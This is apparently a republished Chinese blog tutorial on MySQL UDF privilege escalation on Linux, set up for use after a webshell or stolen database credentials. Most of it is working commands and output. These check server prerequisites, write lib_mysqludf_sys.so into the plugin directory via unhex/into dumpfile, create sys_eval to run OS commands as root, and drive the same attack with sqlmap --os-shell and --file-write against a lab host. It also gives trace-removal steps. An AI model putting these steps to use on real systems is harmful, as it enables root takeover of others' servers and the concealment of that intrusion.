linux环境下的MySQL UDF提权

2024-04-26 08:04

本文主要是介绍linux环境下的MySQL UDF提权,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

linux环境下的MySQL UDF提权

##1. 背景介绍

###UDF

UDF(user defined function)用户自定义函数,是MySQL的一个扩展接口,称为用户自定义函数,是用来拓展MySQL的技术手段,用户通过自定义函数来实现在MySQL中无法实现的功能。文件后缀为.dll.so,常用c语言编写。拿到一个WebShell之后,在利用操作系统本身存在的漏洞提权的时候发现补丁全部被修补。这个时候需要利用第三方应用提权。当MYSQL权限比较高的时候我们就可以利用udf提权。

###利用前提

  • mysql允许导入导出文件
  • 高权限用户启动,如root。该账号需要有对数据库mysql的insert和delete权限,其实是操作里面的func表,所以func表也必须存在。
  • 未开启‑‑skip‑grant‑tables。开启的情况下,UDF不会被加载,默认不开启。

实验环境

手工启动mysql,指定root启动:mysqld_safe --user=root。默认是mysql用户启动。

##2. 未GetShell的情况

适用情况:目标主机开启MySQL远程连接,并且已经获得MySQL数据库连接的用户名和密码信息

###2.1 手工提权

判断前提条件
  1. 查看是否允许导入导出文件

    mysql> show variables like "%secure_file_priv%";
    +------------------+-------+
    | Variable_name    | Value |
    +------------------+-------+
    | secure_file_priv |       |
    +------------------+-------+
    1 row in set (0.01 sec)
    

    这个参数(https://dev.mysql.com/doc/refman/5.7/en/server-system-variables.html#sysvar_secure_file_priv)在MySQL数据库的安装目录的 my.ini 文件中配置,也可以作为启动参数。

    secure_file_priv是用来限制load dumpfile、into outfile、load_file() 函数在哪个目录下拥有上传或者读取文件的权限。

    当 secure_file_priv 的值为 null ,表示限制 mysqld 不允许导入|导出,此时无法提权
    当 secure_file_priv 的值为 /tmp/ ,表示限制 mysqld 的导入|导出只能发生在 /tmp/ 目录下,此时也无法提权
    当 secure_file_priv 的值没有具体值时,表示不对 mysqld 的导入|导出做限制,此时可提权

  2. 查看是否高权限

    mysql> select * from mysql.user where user = substring_index(user(), '@', 1) ;
    
  3. 查看plugin的值

    mysql> select host,user,plugin from mysql.user where user = substring_index(user(),'@',1);
    +-----------+------+-----------------------+
    | host      | user | plugin                |
    +-----------+------+-----------------------+
    | localhost | root | mysql_native_password |
    +-----------+------+-----------------------+
    1 row in set (0.02 sec)
    

    plugin值表示mysql用户的认证方式。当 plugin 的值为空时不可提权,为 mysql_native_password 时可通过账户连接提权。默认为mysql_native_password。另外,mysql用户还需对此plugin目录具有写权限。

上传udf库文件
  1. 获取plugin路径
mysql> show variables like "%plugin%";
+-------------------------------+--------------------------------------------+
| Variable_name                 | Value                                      |
+-------------------------------+--------------------------------------------+
| default_authentication_plugin | mysql_native_password                      |
| plugin_dir                    | /usr/local/Cellar/mysql/5.7.22/lib/plugin/ |
+-------------------------------+--------------------------------------------+
2 rows in set (0.02 sec)
  1. 获取服务器版本信息
mysql> show variables like 'version_compile_%';
+-------------------------+----------+
| Variable_name           | Value    |
+-------------------------+----------+
| version_compile_machine | x86_64   |
| version_compile_os      | osx10.13 |
+-------------------------+----------+
2 rows in set (0.01 sec)
  1. 准备udf库文件

需要选择对应的版本,否则会报错。

  • 从sqlmap获取

    sqlmap中有现成的udf文件。分别是32位和64位的。这里选择sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_

    不过这里的so是异或过的,需要执行以下命令解密:

    cd sqlmap/extra/cloakpython3 cloak.py -d -i /security/ctf/tools_bar/4_注入攻击/SQLI/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so_
    

    此时会在相同目录生成解密后的lib_mysqludf_sys.so。

  • 从metasploit中获取

    在kali的/usr/share/metasploit-framework/data/exploits/mysql目录下找到相应的库即可。

    这个库和sqlmap解密后的一模一样。

  • 自行编译

​ 下载lib_mysqludf_sys

  1. 上传udf库文件

    1. 获取库文件的16进制

      ```
      

    这里的mysql交互命令行是本地的,随意开一个就行

    mysql> select hex(load_file(‘/security/ctf/tools_bar/4_注入攻击/SQLI/sqlmap-dev/data/udf/mysql/linux/64/lib_mysqludf_sys.so’)) into outfile ‘/tmp/udf.txt’;
    Query OK, 1 row affected (0.03 sec)
    ```

    1. 上传库文件
    # 这里的mysql交互命令行是目标数据库,7F454C46020打头的参数即/tmp/udf.txt的内容(注意去掉最后的换行)
    mysql> select unhex('7F454C46020...') into dumpfile '/usr/local/Cellar/mysql/5.7.22/lib/plugin/mysqludf.so';
    Query OK, 1 row affected (0.04 sec)
    

    上传库文件也可以通过临时表中转的方式,此处略。

创建函数
  1. 先在本地查看有哪些函数可用
nm -D lib_mysqludf_sys.sow _Jv_RegisterClasses
0000000000201788 A __bss_startw __cxa_finalizew __gmon_start__
0000000000201788 A _edata
0000000000201798 A _end
0000000000001178 T _fini
0000000000000ba0 T _initU fgetsU forkU freeU getenv
000000000000101a T lib_mysqludf_sys_info
0000000000000da4 T lib_mysqludf_sys_info_deinit
0000000000001047 T lib_mysqludf_sys_info_initU mallocU mmapU pcloseU popenU reallocU setenvU strcpyU strncpy
0000000000000dac T sys_bineval
0000000000000dab T sys_bineval_deinit
0000000000000da8 T sys_bineval_init
0000000000000e46 T sys_eval
0000000000000da7 T sys_eval_deinit
0000000000000f2e T sys_eval_init
0000000000001066 T sys_exec
0000000000000da6 T sys_exec_deinit
0000000000000f57 T sys_exec_init
00000000000010f7 T sys_get
0000000000000da5 T sys_get_deinit
0000000000000fea T sys_get_init
000000000000107a T sys_set
00000000000010e8 T sys_set_deinit
0000000000000f80 T sys_set_initU sysconfU systemU waitpid
  1. 创建sys_eval函数
mysql> create function sys_eval returns string soname "mysqludf.so";
Query OK, 0 rows affected (0.03 sec)
mysql>
  1. 函数操作
# 调用函数
mysql> select sys_eval('whoami');
+--------------------+
| sys_eval('whoami') |
+--------------------+
| root               |
+--------------------+
1 row in set (0.03 sec)# 查看函数
mysql> select * from mysql.func;
+----------+-----+-------------+----------+
| name   | ret | dl     | type   |
+----------+-----+-------------+----------+
| sys_eval |  0 | mysqludf.so | function |
+----------+-----+-------------+----------+
1 row in set# 删除函数(清除痕迹),如果要删除函数,必须udf文件还存在plugin目录下
drop function sys_eval;
或
delete from mysql.func where name='sys_eval';

2.2 利用sqlmap

####全自动化

sqlmap.py -d "mysql://root:root@172.20.10.9:3306/mysql" --os-shell...
[11:53:40] [INFO] connection to MySQL server '172.20.10.9:3306' established
[11:53:40] [INFO] testing MySQL
[11:53:40] [INFO] confirming MySQL
[11:53:40] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
[11:53:40] [INFO] fingerprinting the back-end DBMS operating system
[11:53:40] [INFO] the back-end DBMS operating system is Linux
[11:53:40] [INFO] testing if current user is DBA
[11:53:40] [INFO] fetching current user
what is the back-end database management system architecture?
[1] 32-bit (default)
[2] 64-bit
> 2
[11:53:45] [INFO] checking if UDF 'sys_exec' already exist
[11:53:45] [INFO] checking if UDF 'sys_eval' already exist
[11:53:50] [INFO] detecting back-end DBMS version from its banner
[11:53:50] [INFO] the local file '/var/folders/bx/zb9__nb1591g_r8k78p5p0gr0000gn/T/sqlmap_5_qd1_y51533/lib_mysqludf_sysp478pm69.so' and the remote file './libsoxbd.so' have the same size (8040 B)
[11:53:50] [INFO] creating UDF 'sys_exec' from the binary UDF file
[11:53:50] [INFO] creating UDF 'sys_eval' from the binary UDF file
[11:53:50] [INFO] going to use injected user-defined functions 'sys_eval' and 'sys_exec' for operating system command execution
[11:53:50] [INFO] calling Linux OS shell. To quit type 'x' or 'q' and press ENTER
os-shell> whoami
do you want to retrieve the command standard output? [Y/n/a]No output
os-shell>

没有得到执行结果,查看func表也没有udf记录,未找到原因。

####半自动化

  1. 获取plugin目录

    python3 sqlmap.py -d "mysql://root:@172.20.10.9:3306/mysql" --sql-shell_____H_____ ___[']_____ ___ ___  {1.4.2.24#dev}
    |_ -| . [']     | .'| . |
    |___|_  [)]_|_|_|__,|  _||_|V...       |_|   http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 13:21:33 /2020-02-10/[13:21:34] [INFO] connection to MySQL server '172.20.10.9:3306' established
    [13:21:34] [INFO] testing MySQL
    [13:21:34] [INFO] resumed: [['1']]...
    [13:21:34] [INFO] confirming MySQL
    [13:21:34] [INFO] resumed: [['1']]...
    [13:21:34] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
    [13:21:34] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
    sql-shell> select @@plugin_dir;
    [13:22:06] [INFO] fetching SQL SELECT statement query output: 'select @@plugin_dir'
    select @@plugin_dir [1]:
    [*] /usr/lib/x86_64-linux-gnu/mariadb18/plugin/sql-shell>
    

    得到plugin目录为/usr/lib/x86_64-linux-gnu/mariadb18/plugin/

  2. 上传lib_mysqludf_sys到plugin目录

    python3 sqlmap.py -d "mysql://root:@172.20.10.9:3306/mysql" --file-write=/Users/simon/Downloads/lib_mysqludf_sys_64.so --file-dest=/usr/lib/x86_64-linux-gnu/mariadb18/plugin/lib_mysqludf_sys_64.so_____H_____ ___[.]_____ ___ ___  {1.4.2.24#dev}
    |_ -| . ["]     | .'| . |
    |___|_  [(]_|_|_|__,|  _||_|V...       |_|   http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 13:28:35 /2020-02-10/[13:28:36] [INFO] connection to MySQL server '172.20.10.9:3306' established
    [13:28:36] [INFO] testing MySQL
    [13:28:36] [INFO] resumed: [['1']]...
    [13:28:36] [INFO] confirming MySQL
    [13:28:36] [INFO] resumed: [['1']]...
    [13:28:36] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
    [13:28:36] [INFO] fingerprinting the back-end DBMS operating system
    [13:28:36] [INFO] resumed: [['0']]...
    [13:28:36] [INFO] the back-end DBMS operating system is Linux
    do you want confirmation that the local file '/Users/simon/Downloads/lib_mysqludf_sys_64.so' has been successfully written on the back-end DBMS file system ('/usr/lib/x86_64-linux-gnu/mariadb18/plugin/lib_mysqludf_sys_64.so')? [Y/n][13:28:42] [INFO] the local file '/Users/simon/Downloads/lib_mysqludf_sys_64.so' and the remote file '/usr/lib/x86_64-linux-gnu/mariadb18/plugin/lib_mysqludf_sys_64.so' have the same size (8040 B)
    [13:28:42] [INFO] connection to MySQL server '172.20.10.9:3306' closed[*] ending @ 13:28:42 /2020-02-10/
    
  3. 创建&执行函数

    python3 sqlmap.py -d "mysql://root:@172.20.10.9:3306/mysql" --sql-shell_____H_____ ___[,]_____ ___ ___  {1.4.2.24#dev}
    |_ -| . [)]     | .'| . |
    |___|_  [)]_|_|_|__,|  _||_|V...       |_|   http://sqlmap.org[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program[*] starting @ 13:32:23 /2020-02-10/[13:32:23] [INFO] connection to MySQL server '172.20.10.9:3306' established
    [13:32:23] [INFO] testing MySQL
    [13:32:23] [INFO] resumed: [['1']]...
    [13:32:23] [INFO] confirming MySQL
    [13:32:23] [INFO] resumed: [['1']]...
    [13:32:23] [INFO] the back-end DBMS is MySQL
    back-end DBMS: MySQL >= 5.0.0 (MariaDB fork)
    [13:32:23] [INFO] calling MySQL shell. To quit type 'x' or 'q' and press ENTER
    sql-shell> create function sys_eval returns string soname 'lib_mysqludf_sys_64.so'
    [13:34:56] [INFO] executing SQL data definition statement: 'create function sys_eval returns string soname 'lib_mysqludf_sys_64.so''
    create function sys_eval returns string soname 'lib_mysqludf_sys_64.so': 'NULL'
    sql-shell> select sys_eval('whoami');
    [13:35:59] [INFO] fetching SQL SELECT statement query output: 'select sys_eval('whoami')'
    select sys_eval('whoami') [1]:
    [*] rootsql-shell>
    

    sqlmap中的udf文件提供的函数:

    sys_eval,执行任意命令,并将输出返回。

    sys_exec,执行任意命令,并将退出码返回。

    sys_get,获取一个环境变量。

    sys_set,创建或修改一个环境变量。

2.3 利用HackMySQL

以前叫Python_FuckMySQL,仅适用于目标系统为windows,故略。

https://github.com/T3st0r-Git/HackMySQL

https://github.com/v5est0r/Python_FuckMySQL

##3. GetShell的情况

适用情况:已经通过一句话木马等GetShell,并且得到了数据库用户名、密码。

###上传含udf提权功能的大马提权

手上的提权木马都是针对windows的,且都是php5。而实验环境是Kali+php7,故未实操。

文章可参考以下:

https://mp.weixin.qq.com/s/URPJPbmRixfWPKFDaX1qFA

http://zone.secevery.com/article/1096

###反弹shell

思路:通过getshell反弹shell后,在反弹回来的shell中连接mysql,然后进行手工提权。

结果:失败,在反弹回来的shell中无法成功连接mysql。

这篇关于linux环境下的MySQL UDF提权的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/937030

相关文章

MySQL查询JSON数组字段包含特定字符串的方法

《MySQL查询JSON数组字段包含特定字符串的方法》在MySQL数据库中,当某个字段存储的是JSON数组,需要查询数组中包含特定字符串的记录时传统的LIKE语句无法直接使用,下面小编就为大家介绍两种... 目录问题背景解决方案对比1. 精确匹配方案(推荐)2. 模糊匹配方案参数化查询示例使用场景建议性能优

mysql表操作与查询功能详解

《mysql表操作与查询功能详解》本文系统讲解MySQL表操作与查询,涵盖创建、修改、复制表语法,基本查询结构及WHERE、GROUPBY等子句,本文结合实例代码给大家介绍的非常详细,感兴趣的朋友跟随... 目录01.表的操作1.1表操作概览1.2创建表1.3修改表1.4复制表02.基本查询操作2.1 SE

MySQL中的锁机制详解之全局锁,表级锁,行级锁

《MySQL中的锁机制详解之全局锁,表级锁,行级锁》MySQL锁机制通过全局、表级、行级锁控制并发,保障数据一致性与隔离性,全局锁适用于全库备份,表级锁适合读多写少场景,行级锁(InnoDB)实现高并... 目录一、锁机制基础:从并发问题到锁分类1.1 并发访问的三大问题1.2 锁的核心作用1.3 锁粒度分

MySQL数据库中ENUM的用法是什么详解

《MySQL数据库中ENUM的用法是什么详解》ENUM是一个字符串对象,用于指定一组预定义的值,并可在创建表时使用,下面:本文主要介绍MySQL数据库中ENUM的用法是什么的相关资料,文中通过代码... 目录mysql 中 ENUM 的用法一、ENUM 的定义与语法二、ENUM 的特点三、ENUM 的用法1

MySQL count()聚合函数详解

《MySQLcount()聚合函数详解》MySQL中的COUNT()函数,它是SQL中最常用的聚合函数之一,用于计算表中符合特定条件的行数,本文给大家介绍MySQLcount()聚合函数,感兴趣的朋... 目录核心功能语法形式重要特性与行为如何选择使用哪种形式?总结深入剖析一下 mysql 中的 COUNT

Linux中SSH服务配置的全面指南

《Linux中SSH服务配置的全面指南》作为网络安全工程师,SSH(SecureShell)服务的安全配置是我们日常工作中不可忽视的重要环节,本文将从基础配置到高级安全加固,全面解析SSH服务的各项参... 目录概述基础配置详解端口与监听设置主机密钥配置认证机制强化禁用密码认证禁止root直接登录实现双因素

mysql中的服务器架构详解

《mysql中的服务器架构详解》:本文主要介绍mysql中的服务器架构,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、mysql服务器架构解释3、总结1、背景简单理解一下mysqphpl的服务器架构。2、mysjsql服务器架构解释mysql的架

MySQL之InnoDB存储引擎中的索引用法及说明

《MySQL之InnoDB存储引擎中的索引用法及说明》:本文主要介绍MySQL之InnoDB存储引擎中的索引用法及说明,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐... 目录1、背景2、准备3、正篇【1】存储用户记录的数据页【2】存储目录项记录的数据页【3】聚簇索引【4】二

mysql中的数据目录用法及说明

《mysql中的数据目录用法及说明》:本文主要介绍mysql中的数据目录用法及说明,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、版本3、数据目录4、总结1、背景安装mysql之后,在安装目录下会有一个data目录,我们创建的数据库、创建的表、插入的

MySQL中的InnoDB单表访问过程

《MySQL中的InnoDB单表访问过程》:本文主要介绍MySQL中的InnoDB单表访问过程,具有很好的参考价值,希望对大家有所帮助,如有错误或未考虑完全的地方,望不吝赐教... 目录1、背景2、环境3、访问类型【1】const【2】ref【3】ref_or_null【4】range【5】index【6】